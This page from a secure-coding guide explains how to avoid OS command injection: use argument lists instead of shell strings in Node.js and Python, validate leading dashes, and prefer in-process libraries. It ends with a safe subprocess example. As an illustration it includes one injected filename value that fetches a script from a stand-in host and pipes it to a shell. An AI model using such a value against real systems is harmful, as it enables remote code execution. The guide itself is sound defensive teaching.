Secure Coding Best Practices

Chapter 2 · Practice 4 of 5

Run programs with an argument list, never a shell string

From Injection: keep data out of commands

Why it matters

OS command injection happens when input reaches a shell. A shell interprets ;, |, $( ), backticks and more, so a filename like x; curl evil.sh | sh becomes a second command.

The reliable fix is to not use a shell at all:

  • In Node.js, use execFile or spawn with an array of arguments. Avoid exec and shell: true.
  • In Python, use subprocess.run([...]) with a list and leave shell=False (the default). Avoid os.system and shell=True.

Even with an argument list, a value that starts with - can be read as an option by the program. Validate it against an allowlist, and put -- before positional arguments when the tool supports it.

Better still, ask whether you need a subprocess. Most image, archive and PDF tasks have a library that does the job in-process, with no command line to inject into.

Avoid

  • child_process.exec or shell: true with any user value
  • os.system or subprocess with shell=True
  • Building a command line with string formatting

Example

Python
import subprocess

def thumbnail(src: str, dest: str) -> None:
    # list form: no shell parses these values; "--" ends option parsing
    subprocess.run(
        ["convert", "-resize", "256x256", "--", src, dest],
        check=True,
        timeout=30,
    )